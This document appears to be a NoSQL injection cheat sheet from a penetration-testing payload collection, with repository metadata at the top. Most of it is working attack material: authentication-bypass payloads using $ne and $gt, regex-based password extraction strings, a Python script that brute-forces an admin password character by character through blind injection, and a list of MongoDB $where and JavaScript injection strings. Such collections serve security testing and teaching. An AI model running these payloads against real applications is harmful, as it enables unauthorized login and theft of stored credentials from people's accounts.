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101 lines
2.9 KiB
Markdown
101 lines
2.9 KiB
Markdown
# NoSQL injection
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NoSQL databases provide looser consistency restrictions than traditional SQL databases. By requiring fewer relational constraints and consistency checks, NoSQL databases often offer performance and scaling benefits. Yet these databases are still potentially vulnerable to injection attacks, even if they aren't using the traditional SQL syntax.
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## Exploit
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Basic authentication bypass using not equal ($ne) or greater ($gt)
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```json
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in URL
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username[$ne]=toto&password[$ne]=toto
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in JSON
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{"username": {"$ne": null}, "password": {"$ne": null}}
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{"username": {"$ne": "foo"}, "password": {"$ne": "bar"}}
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{"username": {"$gt": undefined}, "password": {"$gt": undefined}}
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{"username": {"$gt":""}, "password": {"$gt":""}}
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```
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Extract length information
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```json
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username[$ne]=toto&password[$regex]=.{1}
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username[$ne]=toto&password[$regex]=.{3}
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```
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Extract data information
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```json
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in URL
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username[$ne]=toto&password[$regex]=m.{2}
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username[$ne]=toto&password[$regex]=md.{1}
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username[$ne]=toto&password[$regex]=mdp
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username[$ne]=toto&password[$regex]=m.*
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username[$ne]=toto&password[$regex]=md.*
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in JSON
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{"username": {"$eq": "admin"}, "password": {"$regex": "^m" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^md" }}
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{"username": {"$eq": "admin"}, "password": {"$regex": "^mdp" }}
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```
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Extract data with "in"
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```json
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{"username":{"$in":["Admin", "4dm1n", "admin", "root", "administrator"]},"password":{"$gt":""}}
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```
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## Blind NoSQL
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```python
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import requests
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import urllib3
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import string
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import urllib
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urllib3.disable_warnings()
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username="admin"
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password=""
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while True:
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for c in string.printable:
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if c not in ['*','+','.','?','|']:
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payload='{"username": {"$eq": "%s"}, "password": {"$regex": "^%s" }}' % (username, password + c)
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r = requests.post(u, data = {'ids': payload}, verify = False)
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if 'OK' in r.text:
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print("Found one more char : %s" % (password+c))
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password += c
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```
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## MongoDB Payloads
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```bash
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true, $where: '1 == 1'
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, $where: '1 == 1'
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$where: '1 == 1'
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', $where: '1 == 1'
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1, $where: '1 == 1'
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{ $ne: 1 }
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', $or: [ {}, { 'a':'a
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' } ], $comment:'successful MongoDB injection'
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db.injection.insert({success:1});
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db.injection.insert({success:1});return 1;db.stores.mapReduce(function() { { emit(1,1
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|| 1==1
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' && this.password.match(/.*/)//+%00
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' && this.passwordzz.match(/.*/)//+%00
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'%20%26%26%20this.password.match(/.*/)//+%00
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'%20%26%26%20this.passwordzz.match(/.*/)//+%00
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{$gt: ''}
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[$ne]=1
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```
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## References
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* [Les NOSQL injections Classique et Blind: Never trust user input - Geluchat](https://www.dailysecurity.fr/nosql-injections-classique-blind/)
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* [Testing for NoSQL injection - OWASP](https://www.owasp.org/index.php/Testing_for_NoSQL_injection)
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* [cr0hn - NoSQL injection wordlists](https://github.com/cr0hn/nosqlinjection_wordlists)
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* [Zanon - NoSQL Injection in MongoDB](https://zanon.io/posts/nosql-injection-in-mongodb)
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